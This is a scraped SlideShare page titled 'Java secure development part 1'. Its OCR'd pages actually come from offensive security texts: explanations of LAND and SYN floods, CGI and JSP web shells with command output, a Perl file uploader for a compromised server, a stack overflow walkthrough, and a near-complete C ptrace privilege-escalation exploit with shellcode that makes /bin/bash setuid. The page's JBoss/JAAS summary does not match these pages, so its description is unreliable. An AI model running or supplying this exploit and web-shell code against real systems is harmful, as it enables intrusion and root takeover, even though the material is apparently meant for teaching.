Descargado 16 veces
- 1 / 246
- 2 / 246
- 3 / 246
- 4 / 246
- 5 / 246
- 6 / 246
- 7 / 246
- 8 / 246
- 9 / 246
- 10 / 246
- 11 / 246
- 12 / 246
- 13 / 246
- 14 / 246
- 15 / 246
- 16 / 246
- 17 / 246
- 18 / 246
- 19 / 246
- 20 / 246
![27 | P a g e
IP Spoofing
Land Attack
The attack involves sending a spoofed TCP SYN packet (connection initiation) with the target
host's IP address and an open port as both source and destination.
The reason a LAND attack works is because it causes the machine to reply to itself continuously.
Definition: "A LAND attack involves IP packets where the source and destination address are set
to address the same device."[Citation needed]](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-28-320.jpg)
![28 | P a g e
Other land attacks have since been found in services like SNMP and Windows 88/TCP
(Kerberos/global services) which were caused by design flaws where the devices accepted
requests on the wire appearing to be from them and causing replies repeatedly.
SYN Flood
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN
requests to a target's system. Some systems can mis-detect a SYN Flood when being scanned for
open proxies, as commonly done by IRC servers and services. These are not SYN Floods, merely
an automated system designed to check the connecting IP.
When a client attempts to start a TCP connection to a server, the client and server exchange a
series of messages which normally runs like this:
The client requests a connection by sending a SYN (synchronize) message to the server.
The server acknowledges this request by sending SYN-ACK back to the client.
The client responds with an ACK, and the connection is established.
This is called the TCP three-way handshake, and is the foundation for every connection
established using the TCP protocol.
The SYN flood is a well-known type of attack and is generally not effective against modern
networks. It works if a server allocates resources after receiving a SYN, but before it has received
the ACK.
There are two methods, but both involve the server not receiving the ACK. A malicious client can
skip sending this last ACK message. Or by spoofing the source IP address in the SYN, it makes the
server send the SYN-ACK to the falsified IP address, and thus never receive the ACK. In both
cases the server will wait for the acknowledgement for some time, as simple network
congestion could also be the cause of the missing ACK.
If these half-open connections bind resources on the server, it may be possible to take up all
these resources by flooding the server with SYN messages. Once all resources set aside for half-
open connections are reserved, no new connections (legitimate or not) can be made, resulting
in denial of service. Some systems may malfunction badly or even crash if other operating
system functions are starved of resources this way.
The technology often used in 1996 for allocating resources for half open TCP connections
involved a queue which was often very short (e.g., 8 entries long) with each entry of the queue
being removed upon a completed connection, or upon expiry (e.g., after 3 minutes[2]). When
the queue was full, further connections failed. With the examples above, all further connections
would be prevented for 3 minutes by sending a total of 8 packets. A well-timed 8 packets every](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-29-320.jpg)
![48 | P a g e
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc
drwxr-x--- 9 root root 4096 Feb 9 2003 root
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin
drwxrwxr-x 2 root root 4096 Feb 2 2002 src
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr
drwxr-xr-x 16 root root 4096 Jun 19 2001 var
$
The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP
response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html"
in the output. The two "echo" commands are for this purpose.
Automating the POST process
We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the
proper POST requests for the commands and sending them to the web server. The syntax for invoking
post_cmd.pl is as follows:
usage: post_cmd.pl url [proxy:port] < data
By Saumil Shah (c) net-square 2001
post_cmd.pl takes all the data to be POSTed to the URL as
standard input. Either enter the data manually and hit ^D (unix)
or ^Z (dos) to end; or redirect the data using files or pipes
post_sh.pl is on similar lines.
The examples below show the same results being derived using the Perl scripts instead of forming our
own POST requests:
Output of post_sh.pl
$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi
uname
id
ls -la /
^D
HTTP/1.1 200 OK
Date: Thu, 27 Nov 2003 20:43:54 GMT
Server: Apache/1.3.12
Connection: close
Content-Type: text/html](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-49-320.jpg)
![52 | P a g e
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Any web application programming language, which allows native OS commands to be run, can be used to
create a web based command prompt.
File uploader
In addition to being able to run commands on the target web server, an attacker would also be interested
in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work
since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader.
The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option,
though.
It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get
sent to the server in an HTTP POST request. On the server, an upload script receives these contents and
saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope
of this document.
To perform file uploads, we would require a directory where the web server process (nobody,
IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.
Given below are three examples of such upload scripts:
Perl - upload.cgi
Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>n";
print "File path: <input type=file name=upfile>n";
print "<input type=submit value=upload></form>n";
&ReadParse;](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-53-320.jpg)
![72 | P a g e
SQLMap – Automated SQL Injection:
SQL injection Prevention
• Just like with XSS, there are plugins that attempt to prevent these attacks, along with
many WAF products in the market.
• The problem with these products remains the same; it cannot be a single line of
defense. These products get broken.
• The application must have a filtering module that prevents these attacks on its own. In
the case of SQL Injection the most important part is to encode the parameter before
sending it to the SQL Server so that characters like [‘] will have no effect.
• A common problem is the parameters that are not bound by quotes, like integers, these
parameters must be validated as an integer before sent further on in the application.
• Another vector of prevention is the use of parameterized queries inside stored
procedures.](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-73-320.jpg)
![82 | P a g e
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"x90x90xebx1fxb8xb6x00x00"
"x00x5bx31xc9x89xcaxcdx80"
"xb8x0fx00x00x00xb9xedx0d"
"x00x00xcdx80x89xd0x89xd3"
"x40xcdx80xe8xdcxffxffxff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-83-320.jpg)
![83 | P a g e
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caughtn");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lxn", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-84-320.jpg)
![84 | P a g e
fprintf(stderr, "[+] Attached to %dn", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signaln");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
// line below is a modification to adapt the exploit
// for one-way hacking
execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-85-320.jpg)
![85 | P a g e
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
The screenshots below show these two files being uploaded on www2.example.com.
We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check our
current privileges. The screenshot below shows the following commands executed via shell.cgi:
gcc -o ptrace1 ptrace1.c
ls –la
id](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-86-320.jpg)
![93 | P a g e
03 void do_something(char *Buffer)
04 {
05 char MyVar[128];
06 strcpy(MyVar,Buffer);
07 }
08
09 int main (int argc, char **argv)
10 {
11 do_something(argv[1]);
12 }
(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32
console project (use C as language, not C++), paste the code and compile it). On my system, I
called the project "stacktest".
Run the application : "stacktest.exe AAAA". Nothing should return.
This applications takes an argument (argv[1] and passes the argument to function
do_something(). In that function, the argument is copied into a local variable that has a
maximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byte
to terminate the string), the buffer may get overflown.
When function "do_something(param1)" gets called from inside main(), the following things
happen:
A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points to
the highest address of the newly created stack. This is the "top of the stack".](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-94-320.jpg)
![94 | P a g e
Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our
case, this is a pointer to argv[1].
Stack after the MOV instruction:](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-95-320.jpg)
![98 | P a g e
The disassembly of the function looks like this :
01 00401290 /$ 55 PUSH EBP
02 00401291 |. 89E5 MOV EBP,ESP
03 00401293 |. 81EC 98000000 SUB ESP,98
04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-99-320.jpg)
![99 | P a g e
07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; strcpy
09 004012AE |. C9 LEAVE
10 004012AF . C3 RETN</jmp.>
(Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and
MOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and you
can see some MOV and LEA instructions (which basically set up the parameters for the strcpy
function… taking the pointer where argv[1] sits and using it to copy data from, into MyVar.
If there would not have been a strcpy() in this function, the function would now end and
"unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was,
and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from the
stack and jump to it. (Thus, it will go back to the main function, right after where
do_something() was called). The epilog instruction is executed by a LEAVE instruction (which
will restore both the frame pointer and EIP).
In my example, we have a strcpy() function.
This function will read data, from the address pointed to by [Buffer], and store it in <space for
MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data,
ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… it
basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2,
etc). So after the copy, ESP still points at the begin of the string.](/proxy?url=https%3A%2F%2Fimage.slidesharecdn.com%2Fjavasecuredevelopment-part1-170328183640%2F85%2FJava-secure-development-part-1-100-320.jpg)
Saltar al contenido principal
Subido porRafel Ivgi
Java secure development part 1
This document introduces concepts related to securing Java web applications, including: - Authentication methods like JAAS and how it integrates with applications servers like JBoss. - Authorization techniques including security roles and constraints. - Configuring security features in JBoss like securing JMX consoles and remoting. - Implementing authentication and authorization in applications using tools like jGuard.
